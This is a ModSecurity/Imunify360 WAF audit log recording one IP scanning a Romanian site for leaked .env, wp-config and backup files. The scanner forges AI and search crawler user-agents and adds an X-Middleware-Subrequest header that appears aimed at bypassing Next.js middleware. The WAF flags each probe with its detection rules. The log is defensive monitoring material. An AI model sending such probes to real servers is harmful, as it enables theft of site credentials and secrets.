[13/Sep/2026:09:21:15.159238 +0300] aqZA2mM7dE9KgIIOpQhq9wAAAMY 34.181.172.83 42720 127.0.0.1 7081
--3646673e-B--
GET /wp-config.php.old HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--3646673e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3646673e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.old"] [unique_id "aqZA2mM7dE9KgIIOpQhq9wAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.old"] [unique_id "aqZA2mM7dE9KgIIOpQhq9wAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.old"] [unique_id "aqZA2mM7dE9KgIIOpQhq9wAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474960392 198898 (- - -)
Stopwatch2: 1789280474960392 198898; combined=31865, p1=352, p2=31450, p3=0, p4=0, p5=62, sr=161, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3646673e-Z--
--0fcee812-A--
[13/Sep/2026:09:21:15.199006 +0300] aqZA22M7dE9KgIIOpQhq@gAAANY 34.181.172.83 42744 127.0.0.1 7081
--0fcee812-B--
GET /laravel/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0fcee812-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0fcee812-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/laravel/.env"] [unique_id "aqZA22M7dE9KgIIOpQhq@gAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475059840 139226 (- - -)
Stopwatch2: 1789280475059840 139226; combined=4619, p1=169, p2=4392, p3=0, p4=0, p5=57, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0fcee812-Z--
--35aafd3d-A--
[13/Sep/2026:09:21:15.267230 +0300] aqZA22M7dE9KgIIOpQhq-AAAAMk 34.181.172.83 42762 127.0.0.1 7081
--35aafd3d-B--
GET /core/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--35aafd3d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--35aafd3d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:09-21.34.181.172.83"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789280475235239 32043 (- - -)
Stopwatch2: 1789280475235239 32043; combined=30696, p1=256, p2=30194, p3=0, p4=0, p5=245, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35aafd3d-Z--
--9c19b22c-A--
[13/Sep/2026:09:21:15.284516 +0300] aqZA22M7dE9KgIIOpQhq@wAAANU 34.181.172.83 42760 127.0.0.1 7081
--9c19b22c-B--
GET /config/.env.php HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9c19b22c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9c19b22c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/config/.env.php"] [unique_id "aqZA22M7dE9KgIIOpQhq@wAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/config/.env.php"] [unique_id "aqZA22M7dE9KgIIOpQhq@wAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475086648 197937 (- - -)
Stopwatch2: 1789280475086648 197937; combined=32759, p1=213, p2=32493, p3=0, p4=0, p5=53, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9c19b22c-Z--
--e7ee3246-A--
[13/Sep/2026:09:21:15.446181 +0300] aqZA22M7dE9KgIIOpQhq-QAAAMM 34.181.172.83 42772 127.0.0.1 7081
--e7ee3246-B--
GET /.env.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e7ee3246-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e7ee3246-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.php.bak"] [unique_id "aqZA22M7dE9KgIIOpQhq-QAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.php.bak"] [unique_id "aqZA22M7dE9KgIIOpQhq-QAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475241288 204973 (- - -)
Stopwatch2: 1789280475241288 204973; combined=41413, p1=262, p2=41087, p3=0, p4=0, p5=64, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e7ee3246-Z--
--35cc8618-A--
[13/Sep/2026:09:21:15.520207 +0300] aqZA20wu1RSkptiiNIXz6QAAAIQ 34.181.172.83 42794 127.0.0.1 7081
--35cc8618-B--
GET /config.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--35cc8618-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--35cc8618-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/config.php.bak"] [unique_id "aqZA20wu1RSkptiiNIXz6QAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475368071 152194 (- - -)
Stopwatch2: 1789280475368071 152194; combined=26944, p1=277, p2=26590, p3=0, p4=0, p5=76, sr=138, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35cc8618-Z--
--07017736-A--
[13/Sep/2026:09:21:15.902171 +0300] aqZA2zTJ6xTvcJoem7f4SwAAAFE 34.181.172.83 56392 127.0.0.1 7081
--07017736-B--
GET /configuration.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--07017736-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--07017736-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/configuration.php.bak"] [unique_id "aqZA2zTJ6xTvcJoem7f4SwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475686219 216039 (- - -)
Stopwatch2: 1789280475686219 216039; combined=3928, p1=215, p2=3665, p3=0, p4=0, p5=47, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--07017736-Z--
--600a5c35-A--
[13/Sep/2026:09:21:16.080361 +0300] aqZA2zTJ6xTvcJoem7f4SgAAAEk 34.181.172.83 56384 127.0.0.1 7081
--600a5c35-B--
GET /public/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--600a5c35-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--600a5c35-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/public/.env"] [unique_id "aqZA2zTJ6xTvcJoem7f4SgAAAEk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475659731 420688 (- - -)
Stopwatch2: 1789280475659731 420688; combined=8922, p1=3160, p2=5693, p3=0, p4=0, p5=69, sr=3017, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--600a5c35-Z--
--f826b53c-A--
[13/Sep/2026:09:21:16.299024 +0300] aqZA2zTJ6xTvcJoem7f4TwAAAFM 34.181.172.83 56428 127.0.0.1 7081
--f826b53c-B--
GET /storage/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f826b53c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f826b53c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/storage/.env"] [unique_id "aqZA2zTJ6xTvcJoem7f4TwAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475746461 552618 (- - -)
Stopwatch2: 1789280475746461 552618; combined=5083, p1=302, p2=4710, p3=0, p4=0, p5=70, sr=147, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f826b53c-Z--
--f570ce04-A--
[13/Sep/2026:09:21:16.505147 +0300] aqZA3DTJ6xTvcJoem7f4WwAAAEo 34.181.172.83 56566 127.0.0.1 7081
--f570ce04-B--
GET /wp/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f570ce04-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f570ce04-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp/.env"] [unique_id "aqZA3DTJ6xTvcJoem7f4WwAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280476089337 415866 (- - -)
Stopwatch2: 1789280476089337 415866; combined=4334, p1=259, p2=4019, p3=0, p4=0, p5=56, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f570ce04-Z--
--b8ee1532-A--
[13/Sep/2026:09:21:16.807301 +0300] aqZA2zTJ6xTvcJoem7f4TQAAAFI 34.181.172.83 56410 127.0.0.1 7081
--b8ee1532-B--
GET /.env.swp HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b8ee1532-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b8ee1532-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.swp"] [unique_id "aqZA2zTJ6xTvcJoem7f4TQAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475718605 1088775 (- - -)
Stopwatch2: 1789280475718605 1088775; combined=4999, p1=200, p2=4738, p3=0, p4=0, p5=60, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b8ee1532-Z--
--640c3120-A--
[13/Sep/2026:09:21:16.817986 +0300] aqZA3GM7dE9KgIIOpQhrAQAAANI 34.181.172.83 56568 127.0.0.1 7081
--640c3120-B--
GET /wp-config.php~ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--640c3120-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--640c3120-H--
